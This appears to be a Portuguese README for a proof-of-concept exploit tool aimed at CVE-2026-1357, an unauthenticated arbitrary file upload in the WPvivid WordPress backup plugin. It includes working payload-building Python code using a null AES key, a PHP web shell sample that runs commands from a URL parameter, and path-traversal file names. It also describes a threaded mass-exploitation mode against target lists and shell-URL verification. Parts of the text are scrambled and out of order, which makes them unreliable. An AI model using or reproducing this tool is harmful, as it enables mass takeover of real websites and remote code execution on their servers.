
Migration, Backup, Staging <= 0.9.123 - Upload de Arquivo Arbitrário Não Autenticado
CVE-2026-1357.py)Migração, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Vulnerabilidade: Upload Arbitrário de Arquivo Não Autenticado → Execução Remota de Código
CVE: CVE-2026-1357 – CVSS 9.8 (Crítico)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py é uma ferramenta de exploração de prova de conceito para a vulnerabilidade WPvivid. Ela foca no tratamento defeituoso da sessão AES que permite a um invasor:
name) no payload.wpvivid_action=send_to_site.O script não tenta adivinhar ou abusar de chaves privadas diretamente. Em vez disso, ele simula o fluxo quebrado do WPvivid onde uma falha em openssl_private_decrypt() leva a cifra AES do phpseclib a ser inicializada com uma chave nula.
O núcleo da exploração está em gen_wpvivid_payload():
Ele constrói uma estrutura JSON:
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
Ele serializa esse JSON (formato compacto, sem espaços).
Ele criptografa o JSON usando:
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16Em seguida, ele prefixa:
"000" (um placeholder de campo de comprimento estático)."{len(cipher):016X}".O blob criptografado final é:
"000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
Este blob é codificado em base64 e retornado como o valor final de wpvivid_content.
Função:
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
Isso corresponde às expectativas de descriptografia do WPvivid no caminho de código vulnerável após a falha na descriptografia RSA.
O script tem dois modos principais mais uma capacidade de teste em massa:
mood1 – Gerador de Payload
wpvivid_content válido usando o truque de chave nula.mood2 – Testador de Alvo Único
Modo Massa (do mood1)
python3 CVE-2026-1357.py
Você verá uma interface baseada em Rich com um banner e seleção de modo:
mood1 – Gerador de Payloadmood2 – Testador de Alvo Únicowpvivid_content) que codifica:
Seleção do modo
Quando solicitado:
Choose mode (mood1/mood2) [mood1]:
Pressione Enter (padrão é mood1) ou digite mood1.
Nome do arquivo alvo / caminho
Você é questionado sobre:
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
Exemplos:
Para colocar um arquivo no diretório de backup do WPvivid:
Nx_.php
Para abusar de travessia de diretório (se permitido pelo alvo):
../../public_html/Nx_.php
O valor vai para o campo name do payload JSON.
Modo de entrada de conteúdo
O script exibe três formas de definir o conteúdo do arquivo:
EOF).Após gerar o payload, o script pergunta:
Auto-send this payload to targets list (mass mode)? (y/N):
Se você responder y, ele inicia o modo massa com o payload e o nome de arquivo que você acabou de criar.
Arquivo de alvos
Exemplo de prompt:
Targets list file (one URL per line):
Formato esperado do arquivo (ex.: targets.txt):
https://site1.com
site2.com
http://site3.net
O script normalizará automaticamente as URLs base (adicionando esquema quando ausente).
Número de threads
Threads (concurrent sites) [5]:
Controla quantos sites são processados em paralelo.
Lógica por alvo
Para cada alvo:
Normaliza URL → base_url.
Chama:
send_wpvivid_payload(base_url, payload)
que:
wpvivid_action=send_to_site + wpvivid_content=<payload>.{"result":"success"} (verificação de formato compacto).wpvivid_payload.txt ou fonte externa) contra uma única URL, e verificar o arquivo resultante.URL do alvo
Prompt:
Target base URL (e.g., https://site.com):
Exemplo:
https://victim.com
O script normaliza isso para uma base como:
https://victim.com
Nome do arquivo
Prompt:
Expected file name (e.g., Nx_.php):
Este é o nome/caminho que você espera que o WPvivid grave (correspondendo ao que você codificou no campo name do payload).
Entrada do payload
Prompt:
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
wpvivid_content=..., ele remove o prefixo.Execução
O script:
Envia o POST com wpvivid_action=send_to_site + seu wpvivid_content.
Este modo é ideal para testes manuais / laboratoriais de um único site com controle fino sobre o payload.
wpvivid_payload.txt
mood1.file_name=<nome_do_arquivo_escolhido>wpvivid_content=<payload>Nx_.txt
mood1 (modo massa) e mood2.Esta ferramenta é destinada exclusivamente para:
Ao usar este script, você concorda que:
Use por sua conta e risco e apenas para testes de segurança legítimos.
Nxploited (Khaled Alenazi)https://github.com/Nxploited@KNxploitedPara atualizações, ferramentas e conteúdo de pesquisa em segurança, siga o canal do Telegram:
👉 @KNxploited
shell.phpVocê é solicitado:
Mode [1/2/3] [1]:
Modo 1 – Linha única
Single line content:
Exemplo de entrada:
<?php phpinfo();
Modo 2 – Múltiplas linhas
Enter file content, line by line. Type 'EOF' on its own line when done.
Você pode colar ou digitar um script PHP de múltiplas linhas e depois terminar com EOF em sua própria linha:
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
Modo 3 – Arquivo local
Local file path (e.g., shell.php):
O script lê o arquivo inteiro em file_bytes.
Geração do payload
Uma vez que o conteúdo é capturado, o script:
Você vê uma saída como:
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
E um arquivo wpvivid_payload.txt é gravado:
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
Se o upload for considerado bem-sucedido:
Constrói shell_url como:
f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
Salva em Nx_.txt.
Tenta verify_written_file():
shell_url.status_code == 200, marca como verificado.Se ocorrer algum erro:
short_reason():
Interface
[OK] <shell_url> em caso de sucesso.[FAIL] <base> (reason: ...) em caso de erro.[!] Not verified (...) quando o upload pode ter sido bem-sucedido, mas a verificação falhou.Se a resposta sugerir sucesso, ele constrói:
<base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
e imprime [OK] com essa URL.
Adiciona URLs bem-sucedidas ao Nx_.txt.
Tenta a verificação via verify_written_file() e imprime o resultado.